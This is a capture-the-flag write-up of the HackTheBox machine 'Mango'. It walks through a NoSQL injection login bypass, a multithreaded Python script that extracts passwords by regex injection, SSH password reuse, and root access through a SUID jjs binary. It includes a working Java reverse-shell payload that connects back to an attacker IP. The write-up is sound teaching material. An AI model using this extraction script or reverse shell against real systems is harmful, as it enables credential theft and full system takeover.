Summary
- Mango is a Linux box where both HTTP and HTTPS websites are hosted.
- While inspecting the site’s SSL certificate, we notice another virtual host.
- That vhost had a login page on HTTP which happened to vulnerable to NoSQL injection.
- After logging in with an Authentication Bypass, we found the site still under construction.
- Without any functionality to abuse, we turned to NoSQL’s built-in regex capability to enumerate the usernames and passwords on the web app in hopes of reusing them with SSH.
- Since retrieving passwords manually was time consuming, we wrote a Python script to automate the process and further developed it for multi-threading support (it ran 9X faster.)
- We were able to get credentials for two usernames:
admin
andmango
. Themango
user had SSH access which we leveraged to access the box. - From inside, we could pivot to the
admin
user usingsu
because had the same password. - While trying to escalate our privileges, we found an SUID binary called
jjs
which we exploited with the help of GTFOBins -and some minor tweaks- to becomeroot
.
NMAP
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
From the nmap
port scan, we see SSH, HTTP & HTTPS ports open.
But we also notice that the ssl-cert
script shows a virtual host: staging-order.mango.htb
Checking the Websites
To handle Virtual Host Routing, We add an entry in our /etc/hosts
file for both the TLD mango.htb
and the staging-order.mango.htb
subdomain.
visting mango.htb
only gets us a valid page on the HTTPS site. The HTTP one gives back a 403 forbidden response as we’ve seen from nmap
’s output.
The search function suggests testing for SQL Injection. To do so, we intercept the request and save it to a file.
then pass it to sqlmap
using the -r
flag as well as the --force-ssl
flag to target HTTPS.
Doing this doesn’t yield back any results :/
Afterward, we attempted to abuse any of the available functions in the analytics.php
page. (like checking for SSRF)
but without no luck there as well.
Moving on, we look at the HTTP version of the staging-order.mango.htb
virtual host, we found a login page.
After intercepting the request, we attempted injecting common SQL Injection payloads but they didn’t work.
So intead, we tried NoSQL methods for bypassing authentication like using the not equal ($ne
) directive.
By setting both the username and password to values we’re sure don’t exist in the database (ex: test/test), the check should evaluate to true
and let us log in.
It worked! and we got a 302 response. we followed the redirection to get this page:
we get a potential username here: admin
other than that, there was nothing here to played with.
Exploiting NoSQL Injection to Get Credentials
Still, having a NoSQL Injection means we can abuse the $regex
directive to enumerate any usernames/passwords.
Our plan here is to obtain creds and try them with SSH to exploit any reuse.
To check the first character of the admin
user’s password, we can supply a regular expression like below:
username=admin&password[$regex]=^a
The above regex would be evaluated to see if the password starts with the letter “a” or not.
- if the pattern matches, we would get the 302 redirect and get authenticated.
- if not, we should get a different response.
Let’s give it a try using Burp
we get a 200 OK. this means that the password doesn’t start with the letter “a”.
But, when trying different letters…
the response is a 302 redirect when we put the first letter as “t”. which means it’s the first character of the admin
user’s password.
Doing this process manually can take a lot of time. That’s especially true with passwords since we have to test all uppercase/lowercase letters in addition to all digits and symbols.
That’s why, we wrote a Python script to automate the process and even used multi-threading to make it go faster.
Note:
- For brevity, the code below is mainly for obtaining passwords. But the same concept applies to enumerating usernames (the code for that is commented out).
- I put comments to explain the script at every point. you’re advised to read those to figure out the logic.
- Lastly, I divided the script into three parts to make it easier to grasp.
The 1st Part: Importing the required libraries and the “test” function
from threading import Thread
import string # includes the needed character sets
import requests
# a function that takes in a character as input and tests if the password starts with it or not
def test(character, username):
# the password variable is defined globally to be accessible everywhere and to be populated
global password
# the regex payload, notice that we keep appending the character in question to the end of the already discovered part of the password
payload = f"^{password}{character}"
url = 'http://staging-order.mango.htb/'
# filling out the post data with the supplied username and character
data = {
'username': username,
'password[$regex]': payload,
'login': 'login'
}
"""
# here's the post data if you want to enumerate usernames
data = {
'username[$regex]': payload,
'password[$ne]': '',
'login': 'login'
}
"""
# special print function for a cool effect
print ("\r" + "[*] the password for " + username + " is... " + password + str(character), flush=False, end='')
# sending the request without following redirects
response = requests.post (url=url, data=data, allow_redirects=False)
# return true if the status code is the 302 redirection
if response.status_code == 302:
return True
The 2nd Part: Creating the worker functions (7 total) to evenly distribute and iterate over all characters in parallel
# 1st half of the lowercase alphabet (13 total)
def alpha_L1():
# the catch variable represents a valid character found, this is used for stopping all workers when a match is found instead of continuing to search
global catch
for character in string.ascii_letters[0:13]:
# if the catch variable isn't empty (i.e another worker caught the right character), be a smart worker and stop searching ;]
if catch != '':
return
# if the test function returns true, set the catch variable and stop searching :D
if test(character, target_user):
catch = character
break
# 2nd half of the lowercase alphabet (13 total)
def alpha_L2():
global catch
for character in string.ascii_letters[13:26]:
if catch != '':
return
if test(character, target_user):
catch = character
break
# 1st half of the uppercase alphabet (13 total)
def alpha_U1():
global catch
for character in string.ascii_letters[26:39]:
if catch != '':
return
if test(character, target_user):
catch = character
break
# 2nd half of the uppercase alphabet (13 total)
def alpha_U2():
global catch
for character in string.ascii_letters[39:53]:
if catch != '':
return
if test(character, target_user):
catch = character
break
# numbers (10 total)
def numbers():
global catch
for digit in string.digits:
if catch != '':
return
if test(digit, target_user):
catch = digit
break
# 1st half of symbols (16 total)
def symbols_1():
global catch
for symbol in string.punctuation[0:16]:
if catch != '':
return
# these symbols are escaped because they have connotations in the regular expressions language
if symbol in ['^', '.', '*', '+', '?', '|', '$', '\\']:
symbol = f"\\{symbol}"
if test(symbol, target_user):
catch = symbol
break
# 2nd half of symbols (16 total)
def symbols_2():
global catch
for symbol in string.punctuation[16:33]:
if catch != '':
return
if symbol in ['^', '.', '*', '+', '?', '|', '$', '\\']:
symbol = f"\\{symbol}"
if test(symbol, target_user):
catch = symbol
break
The 3rd Part: Starting the workers and letting them retrieve the passwords for both usernames
# we target both the admin and the mango users, we enumerated the latter using the alternative code above in the test function
target_users = ["admin", "mango"]
# foreach user, start with an empty password/catch variables
for target_user in target_users:
password = ""
catch = ""
# add each of worker functions to the threads array
while True:
threads = []
t = Thread(target = alpha_L1)
threads.append(t)
t = Thread(target = alpha_L2)
threads.append(t)
t = Thread(target = alpha_U1)
threads.append(t)
t = Thread(target = alpha_U2)
threads.append(t)
t = Thread(target = numbers)
threads.append(t)
t = Thread(target = symbols_1)
threads.append(t)
t = Thread(target = symbols_2)
threads.append(t)
# start the workers
for worker in threads:
worker.start()
# wait for workers to finish
for worker in threads:
worker.join()
# if there was no catch, break because that means we have the complete password
if catch == "":
break
# if there was a catch, append it to the password and clear out the variable
password += catch
catch = ""
# print out the password at the end for each user
print ("\r" + "[+] the password for " + target_user + ": " + password.ljust(25))
Here’s what the script looks like during run-time:
pretty cool, huh? :]
to compare its performance, we prepended the time
command to both scripts.
This version finished enumerating both passwords in 1 minute and 5 seconds.
which is a huge improvement from the single-threaded version which needed almost 9 minutes!
Gaining Foothold and Pivoting
Moving on, when we tried to log in as admin
, it didn’t work. The mango
user had access though.
From inside, we could pivot to the admin
user with su
since he was using the same password we found.
SUID Privilege Escalation
Looking for easy setuid wins, We ran the find
command below:
find / -perm -u=s -ls 2>/dev/null
and found a strange binary called jjs
with the SUID bit set:
We looked it up and found the below description on Oracle Docs. It was exactly what we needed *evil smile*
To check for ways to exploit it, we searched GTFOBins and found the below:
Seems pretty straightforward. A standard Java reverse shell payload.
An Important Note: to inherit the permissions from the jjs
binary and get code execution as root
, we have to modify the payload on the 6th line and call bash
with the -p
flag instead.
export RHOST=10.10.16.9
export RPORT=9000
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
we start our ncat
listener and set the required environment variables over on the victim machine before executing the shell.
from the effective UID euid=0(root)
, we’re now acting as root
:)